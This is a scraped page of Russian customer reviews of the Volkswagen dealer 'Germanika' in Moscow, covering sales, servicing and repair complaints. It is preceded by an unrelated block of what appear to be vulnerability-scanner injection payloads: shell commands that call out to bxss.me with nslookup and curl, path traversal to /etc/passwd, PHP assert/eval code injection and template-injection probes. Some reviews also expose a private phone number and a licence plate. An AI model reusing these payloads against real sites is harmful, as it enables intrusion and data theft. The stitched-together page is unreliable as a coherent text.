Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Michail5
24.06.2015
Мне уже третий раз омерзительно не просто помыли машину в "Германике" на Береговом проезде, но и жутко исцарапали во многих местах! Огромное количество круговых царапин, царапин средней длины и толщины. И есть даже глубокие царапины, как если бы монетой или железной щеткой терли автомобиль. Те, которые моют там машины, явно специально портят чужие авто - потому, что при бесконтактной мойке просто невозможно поцарапать кузов, да еще во многих местах. И в некоторых просто, как после ДТП царапины и их много. Мыть нормально не моют - машина такая же вся в разводах и с грязной крышей. Очень рекомендую руководству салона "Германика" увольте своих недомойщиков - они специально портят авто и делают гадости!
Светлана
01.06.2015
Выбирала «сама». Почему в кавычках, потому, что хоть и права уже есть и езжу уже два года, но техническихе названия в голове упорно укладываться не желают. Приехала в Германику, немного пообщались с консультантом и он предложил обратить внимание на Битл. Даже тест-драйв получилось организовать сразу. Вообще хотела внедорожник - просто нравится. Понравилось, что продавец не уцепился за эту идею, хотя внедорожник стоит в два раза дороже, а предложил прокатиться. Прокатились. После чего согласилась, что в моем случае обычного «Жука» как раз вполне достаточно. Тем более, что за пределы города выезжать не собираюсь. Убила целый день, но очень довольна. Очень корректный персонал, никаких пренебрежительных мин в мою сторону из-за того, что я не технарь, а простой пользователь. Муж выбор одобрил. Уже неделю езжу на своей машинке.
Никита
08.04.2015
Хотел обратиться по поводу ТО-1 в Германику на Береговом проезде. Но увидел странную картину. Директор сервиса Андрей лопата (так сказали сотрудники))) на всех так орет, что все его боятся и поэтому у нас такая текучка! И, что все Мастера приемщики меняются, как перчатки, приходят работать без опыта работы! Не советую, там нет профи. Они все разбежались!
Юлия
26.08.2014
Добрый день. 24 июля отдали машинку в ремонт, попали в дтп, задняя часть разбита. Ремонтируем по КАСКО. Страховая очень быстро (10 дней) оплатила Германике наш ремонт, а потом началось "веселье". Германика начала "кормить завтраками". Изначально сказали, что будет все сделано в течение двух недель, потом сказали, что одна из деталей пришла на другую модель авто. Опять пообещали в течение недели. Сегодня объявили, что деталь придет не ранее 10 сентября. А СТАВИТЬ ЕЕ БУДУТ СКОЛЬКО ЕЩЕ?! Хочу обратить внимание читателей на то, что машинка-то Polo Sedan черного цвета. На эксклюзивный форд мустанг детали ждут максимум 3 недели, а тут какое-то безобразие. Итог: минимум 2 месяца без авто (это пока, что по новому прогнозу), а так же - в Германику больше ни ногой!
Артем
20.08.2014
29.06.2014 Обслуживался в салоне, при сдаче автомобиля указал, что 1. Происходит утечка антифриза; 2. Машину ведет вправо и недавно делал развал-схождение в Вашем салоне; 3. Турбина при определенных условиях (озвучил каких) отключается. После проведения диагностики получил ответ, что: 1. Утечку не смогли найти; 2. Определить причину почему тянет вправо может только мастер, которого сейчас нет, а при визуальном осмотре выявить причину не удалось 3. Турбину необходимо менять. По необходимости 30.06.2014 мне пришлось осуществить поездку в Белгород (1400 км туда-обратно). Во время поездки началось биение правого переднего колеса, усилившегося к приезду в Белгород, заехав на СТО для осмотра выяснилось, что внутренняя часть шин передних колес стерлась настолько, что вылезла грыжа в горизонтальной плоскости шины правого переднего колеса. Еще, по пути я сделал остановку для заправки, открыв капот и проверив уровень масла в двигателе обнаружил (доливом) недостаток масла в объеме 0, 5л. Как же тогда проводили диагностику (даже уровень масла не проверили). После проведения полной диагностики в дилерском центре Немецкий Дом было выявлена необходимость замены подшипников передних стоек, замена сайленблоков задних рычагов, не соответствие сход-развала норме, вмятину на заднем нижнем рычаге По словам сервиса Германика подвеска в «идеальном» состоянии. На мою претензию по вопросу выполнения схода-развала получил ответ, что гарантия на выполнение работ 5 дней и ничем помочь не могут. На мою претензию по поводу недосмотра уровня масла получил ответ, что масло вытекло пока я ехал (то есть за 500 км. пробега), хотя после этого я его больше не доливал (проехав еще 10000 км.). Своим отношение к обслуживанию автомобилей данный сервисный центр Германика Химки позорит репутацию Volkswagen давно зарекомендовавшего себя как надежный автомобиль. Ссылка на фото к претензиям https://yadi.sk/d/9VyfC01UZvtMa[/QUOTE].
Татьяна
30.06.2014
Хочу поблагодарить за отличную работу мастера -приемщика салона Германика-Фили Дениса Шмаровского. Я сдавала на ТО 2 28.06.14 свою машину (машина Фольксваген поло). При приемке и оформлении документов Денис все доходчиво объясняет и хочется отметить его вежливость. Делает все оперативно, оформление заняло 20 мин. Машину забрала, претензий к работе нет. Спасибо салону Германика-Фили!
Александр
06.05.2014
Предлагаемый 3-ий год пролонгации гарантии от дилера - обман (развод на проведения всех ТО у них). А/М VW Caddy Maxi. На 50 тыс. пробега появился дефект. Сдал в ремонт. Динамили 2 недели. Результат: дефект убрали, попортили задний бампер (сами перекрасили, но не признались сразу) и не отрегулировали сход-развал (в этом тоже не признались). Результат - 2 баллона на свалку. Стойки стабилизатора меняли больше месяца (типа из Европы долго шли), пока не стал выносить мозг.
Олег
29.03.2014
Купил Фольцваген поло седан, в автосалоне "Германика" на Береговом проезде. При покупке машины, обслуживание было отличное. Но, вот пришло время ехать на первое ТО. Позвонил в салон, записался в этот же день. Предложили время на выбор - 18:15; 18:30; 19:00. Приехал к 18:00. Мастер приемщик принял машину. Я сообщил, что у меня посторонний звук в левом переднем колесе, и появился странный звук в двигателе при заводе машины. О чем было записано в заказ-наряде. Спросили, буду ли я присутствовать на ТО. И отправили отдыхать на кресло. Прошел час, и меня позвали в цех. ТО-1 делали два мастера, по времени ОДИН ЧАС и ТРИДЦАТЬ минут. Как делали - это другой разговор. После сделанного ТО, я поинтересовался по своим проблемам к колесу и двигателю? На что мне был дан ответ: что в заказ-наряде ничего не написано. Мной был вызван мастер приемщик. Который нашел мою запись в компьютере, а не в заказ-наряде. После этого начали искать проблему в колесе, ничего не нашли. Сели в машину два мастера, и поехали кататься, искать проблему. Двадцать минут катались и нечего не нашли. По двигателю сказали оставить машину на ночь (хорошо, что не оставил). Пока чудо-мастера катались на моей машине, мастер-приемщик от руки вбивал мне компьютерную диагностику. В 20:45 с меня взяли 9.600 руб. И отправили домой. На следующий день я уехал на дачу. На скорости 80 км. в час руль стало сильно бить. Вернувшись в автосалон на другой день, я объяснил причину на, что мне мастер приемщик предложил сделать балансировку колес за 2.000 рублей. Обвинив меня, что я сам виноват, что у меня бъет руль. Из всего происходящего я понял одно - на клиентов в этом автосалоне наплевать. Смысл один - содрать денег. Не советую обращаться в этот автосалон. Заказ-наряд #122-143-5-1019985 от 20.03.2014 г. Мастер приемщик Лавров Александр. Мой телефон: 8-965-155-65-65, Олег.
Светлана.
23.03.2014
Хочу предупредить всех кто захочет кутить авто в салоне Германика на береговом пр-д, не покупайте! Сначала вам будут вешать лапшу на уши, будут давать кучу обещаний! Как только вы совершите покупку всё обещания пропадут. Я купила машину, мне её отдали совершенно грязную. Только когда я подняла шум, менеджер сам поехал мыть в автомойку, но на этом неприятности не закончились. По страховке каско мне нужно было покрасить оба бампера, покраска затянулась на две недели и это ещё не всё! Мне выдали машину с бамперами не в тон машины. Стали вешать лапшу, что на пластик краска легла не так. Опять подняла шум, сказали хорошо, перекрасим. Через неделю взяли на повторное перекрашивание! Сказали за два дня всё сделают. И вот приехала в салон и уже битых два с половиной часа жду, что за люди здесь работают??? На вопрос как связаться с руководством, отмалчиваются. Прошу всех, если не хотите попасть в такую ситуацию как я, НЕ ПОКУПАЙТЕ В ЭТОМ САЛОНЕ МАШИНУ! Здесь все врут, и пытаются выкачать с вас деньги. Весь персонал не профессионален. Никто не за, что не отвечает, как такой салон может иметь такое имя! Грубят, пытаются отвязаться побыстрее. Уважаемые будущие покупатели, бегите из этого салона!
Дмитрий
17.03.2014
Всем доброго времени суток, хочу поведать об автосалоне Германика. Мое общение с ними началось в июне 2012 г., когда приобретал у них машину VW JETTA 1.6 105 л. с., коричневая. Приехал в салон забирать свою новенькую машину и с этого дня и началась моя весёлая жизнь, когда мы пошли на пункт выдачи авто все шло отлично машина стояла под крышей в тени. Я осмотрел машину все хорошо машина идеальная, сел и счастливый поехал домой показывать авто родным и близким. Вот приехал я и близкие и друзья облепили авто по кругу и тут мне говорят, что у меня вмятинка на правой задний двери, я в ужасе лечу на Береговой. Приезжаю выходить мой менеджер и говорит мне, что я тебя понимаю, но мы тоже правы и твоя правда есть, но ты уехал извини. Вот первое мое негативное отношение к салону. ТО-1. Перелили масло показывало низкое давление масла приехал на следующий день продержали 1-1.30 на улице собрались все работники, мой мастер приемщик вышел один раз потом ушел и все сказали, не критично и можно ездить. Перелив масла гразить к неисправности катализатора (написано на передней рамке около замка капота)и поставили фильтр от TSI он длиннее. Масло откачали фильтр поменяли, нервы потрепали. Приехал по гарантии не всегда открывалась задняя левая дверь, когда нажимаешь на открытие с пульта, просидел 2 ч. сказали, что у вас все отлично думаю отлично бумаг соответственно ни каких, ни дали. ТО-2 решил к ним ни ехать поехал к брату в Субару сервис менять масло, фильтра и очень удивился. Когда достали фильтр салона его должны были поменять на ТО-1 в сервисной книжке галочка стоит, а по факту я на нем ездил с с самого начала он просто зарос мхом. Решил больше никогда к ним не поеду. У соседа тоже Jetta TSI тоже были проблемы с этим сервисом ГЕРМАНИКА на Береговом. Уважаемые обладатели VW не советую ездить к этому Дилеру с большой буквы! Не тратьте своё время, деньги и нервы. Удачи на дорогах.
Егоров Вадим
17.02.2014
Заключили договор 5 февраля 2014 на поставку Toureg 2013 года со скидкой, и внесли предоплату 50 тыс. рублей. Срок действия договора 16 дней, но обещали привезти за неделю. Через неделю я позвонила, так как звонка от менеджера Алсу мы так и не дождались, она ответила, что все нормально. Через 9 дней я позвонила опять и услышала, что есть проблемы - машина оказывается 2014 года и они ее со скидкой не продадут. На мое предложение, как то урегулировать этот вопрос, начальник клиентской службы сказал, что ни копейки скидки мы не получим и радуйтесь, что вам вернут аванс. А ведь машина стоит больше 2-х млн. рублей и вот такой сервис. Просто торгуют воздухом. Не покупайте у них машины - обманут!
Николай
18.01.2014
Записался 15.01.14 г. в 12.30 - была проблема с пневмоподвеской. Некий мастер-приемщик Олег принял, 1.5 часа зводил все в базу, описывал и т. д., потом еще 1, 5 часа диагностика и приговор - клапан пневмоподвески на замену. Время 16.30 - говорю: "меняйте". Жду, подхожу в 18.00 - заминка, нет запчасти, заказывайте - завтра утром доставим и заменим! Так, а зачем я тут сидел 6 часов, спрашиваю??? На, что с улыбкой ехидной - ну не 6 часов а 5, 5. Мастер-приемщик не компетентен в устройстве автомобиля, говорил полную ерунду при слесаре и клиенте, насчитал 65 т. р. (решил поменять все). На следующий день из сервиса я звонка и не дождался, позвонил сам. Сказали течет еще один клапан. Ё мое, процедура та же: заказывайте - завтра поменяем! В итоге сижу 18 января - машина в сервисе, звонков от них нет! Это не официалы - это дерьмосервис берущий только деньги! Никакой ответственности перед клиентом! Никакой обратной связи!
Сегодня приехал забрать машину, отдал денег за замену 2 клапанов, завел и все тоже самое! Нет слов, устал.
Мария
12.01.2014
Идет 3-й месяц, как машина была передана на ремонт в Германику на Береговом проезде, до сих пор, даже не начат ремонт! Менеджер Кудрицкий Дмитрий не владеет информацией, каждый мой звонок я получаю абсолютно разную информацию от него. Приезжала в салон, разбирались, обещали сделать быстро и все решить. На следующий день все тоже самое, и так, до сих пор. Просто нет слов. Делайте выводы и обходите этот салон стороной.
Иван
28.12.2013
Как так? Отзыв о салоне Германика: Береговой пр-д, д. 4/6, стр. 3. Всем доброго дня! Решили мы перед Новым Годом прикупить на фирму в лизинг Volkswagen Multivan. Созвонились с менеджером. Менеджер Василий Слуцкий предложил неплохой вариант с хорошим дисконтом. Приехали, посмотрели, понравилось. Поговорили со старшим, который начальник Василия Слуцкого, его имя Михаил Голышев. На позитиве пожали руки и вперед к осуществлению мечты в реальность. Дали контакты менеджера лизинговой компании. Василий оперативно отправил договора. На следующий день сделка была почти готова, тем более, что первоначальный взнос уже томился на р/с лизинговой компании и все было одобрено и подтверждено, НО эти хитрые парни взяли и продали почти, что наш автомобиль другому покупателю. Такая вот история в канун Нового Года. Если вы вдруг решите приобрести авто в этой компании, подумайте много раз. Всех с Наступающим Новым Годом! Всем позитива, добра, здоровья и удачи! А Слуцкому и Голышеву совести и порядочности!
Светлана
28.10.2013
В июле 2012 купила новый автомобиль Golf в "Германике" на Ленинградском шоссе. Долго колебалась где покупать. Но придя в салон и встретившись с менеджером Наташей Симоновой, решение было принято в пользу Германики. Наташа все подробно рассказала, ответила на много надоедливых вопросов, выслушала с вежливым юмором комментарии моего мужа и сына. Прекрасный менеджер и отзывчивый человек. Машину получила в срок. Машина супер! С Наташей в течении недели перезванивались, она помогала мне советами, т. к. это первая моя машина и водитель я начинающий. Очень благодарна ей за терпение. Спустя год обратилась в Германику по ТО1. И опять мне повезло. Я общалась с менеджером Рябчиковым Сергеем. Он был очень корректен, ответил на все мои нужные и ненужные вопросы, после ТО показал машину и объяснил все, что было сделано. В октябре 2013 г. обратилась в Германику по страховому случаю, делала кузовной ремонт. И опять удача. Принимал машину Сергей Лутонин. Очень внимательный и порядочный человек. Срок на ремонт был неделю. Я переживала, как буду так долго без машины, ведь к хорошему быстро привыкаешь. Сергей успокоил, сказал, что позвонит как только она будет готова. И действительно отремонтровали очень качественно и раньше срока. Благодарю Наталью Симонову, Сергея Рябчикова, Сергея Лутонина и всех сотрудников салона Германика Химки за их отличную и качественную работу, за вежливость и оперативность. От общения с таким персоналом поднимается настроение и чувствуешь, что тебя поймут и помогут. СПАСИБО!
Илья Сергеевич
18.10.2013
Гарантийщикам респект. Ребята знают своё дело. Всё сделали красиво второй раз!
Иван
17.10.2013
Приобретал машину в этом салоне в 2008 году. В принципе с покупкой проблем не было, потом появились с сервисом. Когда проходил первое тех. осмотр в ГАИ, обнаружилась неправильная регулировка ближнего света фар. Приехал в Германику написал претензию, машину забрали и два часа держали у себя, потом вышли сказали, что фары соответствуют нормативам и я должен оплатить за их проверку, т. к. все и так было в порядке. Зачем для простой проверки, которая производится в течение 5 минут понадобилось 2 часа, и как это фары сами с собой настроились не понятно. После повторного контроля на тех. осмотре все было уже в порядке. Вот и выходит, что жульничают парни, не хотят свою ляпу признавать, проще все по тихому у себя за закрытыми дверями сделать, а потом обвинить клиента в оговоре.
Виталий
08.09.2013
Первый мой визит в Ваш салон состоялся 27.08.2013 г. по вопросу гарантийного ремонта принадлежащего мне автомобиля Фольксваген Пассат СС (Гос. номер е222ну197). Мастер-приемщик Забелин Антон оформил расписку (Приложение к заказ-наряду №БП-ФЦГ-/СР/1004213). Провели опись автомобиля, где указали все повреждения автомобиля, был оформлен заказ-наряд на сумму 1200 руб. 00 коп. на диагностику. Было выявлено, что по гарантии подлежат ремонту и замене следующие детали: молдинг задней правой двери, рамка люка (крыши) и мастер-приемщик сказал, что это гарантийный случай и по факту заказа деталей, со мной созвонятся и мне нужно будет пригнать машину на ремонт. 31.08.2013 г. мне позвонил инженер по гарантии Валерий и сообщил, что я могу поставить машину на ремонт. Я записался на 01.08.2013 г. По приезду в салон 01.08.2013 г., мне сообщили, что произошла ошибка, и машину они принять не могут, т. к не пришло крепление рамки люка (крыши) и предложили перезаписаться на другую дату. 03.09.2013 г. приехав в Ваш салон, принимал машину у меня тот же мастер-приемщик Забнелин Антон, опись автомобиля не проводилась, и мастер в устной форме поинтересовался не произошло ли с автомобилем каких-либо технических повреждений спустя неделю. Письменно, мои слова о том, что ничего повреждено не было, никто не фиксировал и расписку (приложение к заказ-наряду №БП-ФЦГ-/СР/1004213) мне отдали старую от 27.08.2013 г. По данным документа, имеющегося у меня на руках, машина находится у Вас на обслуживании почти 2 недели, а норма часов на вышеперечисленные гарантийные работы составляет не более 10 часов. Поставив машину на ремонт 03.09.2013 г. я регулярно звонил и интересовался о готовности моего автомобиля. 04.09.2013 г. мне позвонили и сказали, что произошли временные затруднения, что машина не готова, т. к. возникли технические трудности, понадобилось дополнительное время для замены лобового стекла, Ваши специалисты уверили меня, что это необходимо по технологии замены люка. На следующий день 05.09.2013 г. позвонив в салон, мне ответили, что вопрос по замене лобового стекла не решен и готовность авто откладывается еще на сутки. 06.09.2013 г. мне позвонили и сказали, что лобовое стекло меняется и я могу приехать и забрать свое авто в этот же вечер. Перед приездом в салон, я позвонил и меня соединили с мастером приемщиком Кривоушко Иваном, на что тот ответил, что ремонтные работы почти закончены, задний молдинг на правой двери поменян, лобовое стекло заменено, арматурные работы закончены, идет регулировка люка и предложили приехать на следующий день. 07.09.2013 г. мне позвонили утром, разговаривал я с Криваушко Иваном и он сказал, что машина будет готова к 13-00 и я могу её забрать. Я приехал в салон, мне выгнали машину и первое, на что я обратил внимание, было то, что задний молдинг на правой двери не поменян, люк не открывается и не закрывается при постановке и снятии с сигнализации автомобиля. В салоне так же люк не поддается регулировке, уплотнительные резинки свисают с потолка, а самое главное, я увидел повреждение салона (порвано водительское сидение). Внутреннее состояние светлого кожаного салона автомобиля просто ужасное. На мой вопрос, почему не поменян молдинг на задней правой двери, мастер посмотрев по компьютеру, мне ответил, что молдинг со склада выдавался, но причин почему его не заменили, он не знает. По вопросу не работы люка он ответил, что это халатность слесаря, который его ставил. По вопросу порванного водительского сидения мне ответили, что так и было. На мою просьбу предоставить опись от 27.08.2013 г., когда машина изначально осматривалась, мне отказали и сказали, что машина была сдана в таком состоянии (чему нет подтверждения с моей подписью).
Роман
04.09.2013
Обратился по гарантии по масложору, откатал 1000 км, подтвердилось (больше 1,5 литров на 1000), сказали замена поршневой. С этого началось самое интересное, оставил машину на ремонт (никаких документов мне не дали). Неделю прождал сказали долго запчасти шли. Ладно ничего страшного. Проходит еще несколько дней, названиваю, (открыл капот, двигатель как был грязным так и остался)забираю машину (документов никаких не дают, сказали не готовы документы: ни акты, ничего, ни одного документа на руки), сказали приезжать через неделю за ними. Вот так я проездил неделю еще, так ни одного документа на руки не получил. И терпение кончилось, плюнул на них. До сих пор не знаю, что мне там поменяли. Да и к тому же сломали мне кондиционер, приехал к ним на диагностику, так за два часа моего наблюдения за диагностикой понял, что ничего мне не собираются делать. Подошел один сервисмен, открыл капот, посветил фонариком, пошел погулял, через 20 минут подходит, завел, что то послушал посветил, ушел. Приходят вдвоем уже, тоже самое все повторяется. В общем, уехал без кондиционера. Заехал к знакомым в сервис, оказалось они провода мне перепутали (в разные гнезда поставили), это заняло 10 минут. И о чудо, все работает! Германика не хочет работать совсем, время ворует мое! Автомобиль Passat CC! Мастер приемщик Тарев Роман. 19.08.2013 был заезд на диагностику.
Андрей
27.08.2013
У меня пассат сс 2011 г. Приехал значит я в Германику (Фили) 27.08.13. На гарантийный осмотр как мне и сказали. При встрече с менеджером сразу предложили оформить заказ-наряд на сумму (1200 р.). Это стоимость диагностики, если случай гарантийный, деньги возвращают. Жаловался на хромированные молдинги, которые облазит по кругу, и на пластиковую вставку между лобовым стеклом, и люком, на которой треснуло лакокрасочное покрытие. Молдинг к моему несчастью заменят только 1 из 4-х. Стоимость этой запчасти 2000 т. р., а вот с люком стоимостью 40000 т. р. попросили подождать до выяснения обстоятельств. Ну как то так, с Мастером приемщиком разговаривал исключительно по телефону, а все вышеперечисленное мне рассказывал Менеджер (Антон). Сервис и отношение к клиентам очень, и очень сомнительное. И оставляет желать лучшего.
Андрей, очень Вам советую записывать на диктофон все разговоры с Германикой. У них есть такой фокус: если случай сомнительный, они по своему телефону, по которому аудиозапись ведется, разговаривать с вами не будут, будут предлагать перезвонить. И будут звонить с другого номера. Если вообще будут звонить. Записывайте дату и время Вашего звонка в блокнот: все быстро забывается. Я уже связывалась с официальным дилером и собираюсь оформить свою претензию к этому сервису. Контора безобразная. Все "немецкое качество" заканчивается при покупке. Даже письменные жалобы они, видите ли, не принимают.
Алексей
11.08.2013
Обращался несколько раз, на ТО и просто ремонт. Отношение к клиенту внимательное. Работают качественно. Отдельное спасибо Никитину Илье компания должна гордиться такими сотрудниками.
Алексей
07.08.2013
Отдал машину ФПОЛО на кузовной ремонт, обещали выполнить работы за 10 рабочих дней. Узнавал - время выполнения тех же работ не у официального дилера - 3 дня. Через 2 недели начал звонить и узнавать на счет машины. Отвечали менеджеры: "Сейчас выясним и перезвоним через 30 мин" - ни разу не перезвонили. Дозванивался 5 дней. В конце 3 недели (среда), сообщили, что завтра можно забирать. Четверг - ответов нет. В пятницу, сообщили, что покрашено плохо, надо переделывать. Опять кормят завтраками.
Отвратительная организация лжецов и клеветников. Мы тоже у них покупали Поло в марте этого года. В мае была авария. Страховая отреагировала отлично, экспертиза была и в гараже, и на сервисе. Машина была на сервисе с 22 июня этого года. Страховая подписала калькуляцию на ремонт. Два месяца нас мытарили сервисные службы Германики-Фили. Слов нет. "Работы ведутся, еще 2 недели. Машина на кузовных работах не у нас". В результате 25 августа приехали на сервис. Отказались принять письменные жалобы. Ремонт и не начинали. Такого шока я давно не испытывала. Машина стояла под открытым небом два месяца, даже не прикрытая. Бампер валялся на земле. В багажнике прямо на чистой обивке все снятые с кузова детали. Но они оказались не только лжецами (что ремонт начался), но и клеветниками (оклеветали при свидетеле, что был у машины какой-то нам неизвестный ремонт, сокрытый от них- машина-то на гарантии и КАСКО- аж на 200 тысяч). Собираюсь обращаться в представительство Поло с требованием отказать им в лицензии. Но думаю, надо объединять усилия пострадавших от этого дилера.
Оксана
06.08.2013
Были в салоне по адресу: Москва, Береговой пр-д, 4/6, стр.3. В шоке прибываем до сих пор. Вытаскивали клещами из менеджера каждое слово. Потом столько же пытались ему дозвониться чтобы обговорить доп. оборудование. Складывается ощущение, что они не хотят продавать, а мы выпрашиваем как милостыню. В результате купили машину в другом салоне ТЦ Кунцево. Там конечно тоже не сахар, но всё таки менеджер был более разговорчивый.
Дарья
01.08.2013
Ремонтировала Фрльксваген Тигуан сначала в Германике Химки, покраска заднего бампера, сказали 3 дня займет (специально сдала в пятницу утром, чтобы в воскресенье получить)! Звоню в воскресенье, отвечают, что плохо прокрасили и позвонить в понедельник! Звоню в понедельник, просят позвонить в среду! Мое терпение лопнуло, приезжаю в салон во вторник, устраиваю скандал, извиняются- > в среду утром забираю машину! В этот раз решила сдать в Германику Фили, где и приобретала! (С приобретением никаких минусов нет, все было на высшем уровне)! У меня разбито заднее стекло, задняя дверь, задний бампер, заднее правое крыло- под покраску! Мастера приемщики сказали, что ремонт займет неделю! Проходит неделя- ни ответа- ни привета! Я, человек настырный, начинаю звонить, спрашивать почему, на какой стадии ремонта моя машина! В итоге через 10 дней они сказали, что обнаружили подтеки (неправильно покрасили). Менеджеры лапшу на уши вешают! Как я поняла, мою машину загнали на ремонт только на 10 день, до этого она у них стояла "отдыхала"! Ругалась с менеджерами! На 11 день приехала сама без предупреждения! Вот сижу жду пока помоют моего железного коня! Нужно все контролировать, а не ждать, пока Вам позвонят, так как позвонят Вам через оооочень долгое время! Терпения!
Фанир Мигранов, республика Башкортостан
02.06.2013
Мы приехали в Германику из Башкирии где-то в 7 часов вечера 13 апреля 2013 года. Думали, в этот день не успеем машину купить, но менеджеры Денис Ефремов и его напарник (фамилию не помню) быстро всё оформили и мы уехали домой. Купили Фольксваген Поло Седан, когда ехали, менеджеры звонили, интересовались всё ли в порядке, как машина? Спасибо всем работникам автосалона Германика, люди на своём месте работают.
Антон
27.05.2013
Безграмотные работники, Вешняков Роман, разломали всю машину. Почему масло убегало так и не нашли. Туарег пришлось продать. Зла не хватает. Ни документов, ни лицензии на выполнение работ у них нет.
